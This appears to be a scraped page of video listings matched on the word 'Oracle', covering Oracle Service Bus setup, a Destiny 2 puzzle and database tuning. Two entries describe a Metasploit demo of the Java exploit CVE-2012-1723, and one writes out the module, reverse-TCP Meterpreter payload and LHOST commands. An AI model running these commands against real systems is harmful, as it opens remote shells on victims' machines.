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In this video I will briefly introduce Oracle Service Bus (OSB) and show you how to install Oracle Service Bus 12c on Oracle Linux Have a look at my blog for step by step instructions and screenshots I used in this video. Blog Link : http://prasaddomala.com/how-to-install-configure-oracle-service-bus-osb-12c-12-2-1-2
Views: 8760 Prasad Domala
Destiny 2: The Whisper Heroic - Oracle Puzzle, Chest Locations & Exotic Catalyst
 
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The Whisper contains another secret within, an homage to the Vault of Glass. Let's find out what it actually is. Teawrex: https://www.twitch.tv/Teawrex Teawrex First Solve: https://www.youtube.com/watch?v=esN_cM7w8x8&feature=youtu.be /u/nerdorado: https://www.reddit.com/r/DestinyTheGame/comments/90lwwx/spoiler_oracles_are_appearing_next_to_a_vex_gate/e2rvgew/?context=3 5% discount on ASTRO gear: http://www.astro.family/Datto (new international links coming soon) Need a good chair? SecretLab has you covered, use my referral link here: http://bit.ly/DattoChair (United States and SE Asia Only) If you enjoyed the video, a positive rating is always appreciated. Subscribe to the channel for more Destiny: http://bit.ly/SubToDatto Datto Does Destiny Social Media: Twitter: http://twitter.com/DattosDestiny Facebook: http://www.facebook.com/DattoDoesDestiny
Views: 143324 Datto
CVE-2012-1723 Oracle Java Applet Field Bytecode Verifier Cache RCE Metasploit Demo
 
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This module exploits a vulnerability in HotSpot bytecode verifier where an invalid optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations. http://www.4xsecurityteam.com/ https://twitter.com/4XSecurityTeam
Views: 829 4XSecurityTeam
CVE-2012-1723 Oracle Java Applet Field Bytecode Verifier Cache RCE Metasploit Demo
 
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Blog : http://eromang.zataz.com Twitter : http://twitter.com/eromang Timeline : Public release of the vulnerability the 2012-06-12 First PoC provided by Michael Schierl the 2012-06-13 Metasploit PoC provided the 2012-07-09 PoC provided by: Stefan Cornellius mihi littlelightlittlefire juan vazquez sinn3r Reference(s) : CVE-2012-1723 OSVDB-82877 BID-52161 Oracle Java SE Critical Patch Update Advisory - June 2012 Affected versions : Oracle Java JSE 7 Update 4 and before Oracle Java JSE 6 Update 32 and before Oracle Java JSE 5 Update 35 and before Oracle Java JSE 1.4.2_37 and before Tested on Windows XP Pro SP3 with Oracle JSE 1.6.0_32-b05 Description : This module exploits a vulnerability in HotSpot bytecode verifier where an invalid optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations. Metasploit demo : use exploit/multi/browser/java_verifier_field_access set SRVHOST 192.168.178.100 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.178.100 exploit sysinfo getuid
Views: 1918 Eric Romang
Buffer Busy Waits - Oracle
 
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Oracle buffer Busy wait explained
Views: 31853 Ritesh Raj Singh
RAC & RAC OneNode Demo & Overview
 
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RAC & RAC OneNode Demo & Overview showing the general architecture of RAC
Views: 18241 mattdee

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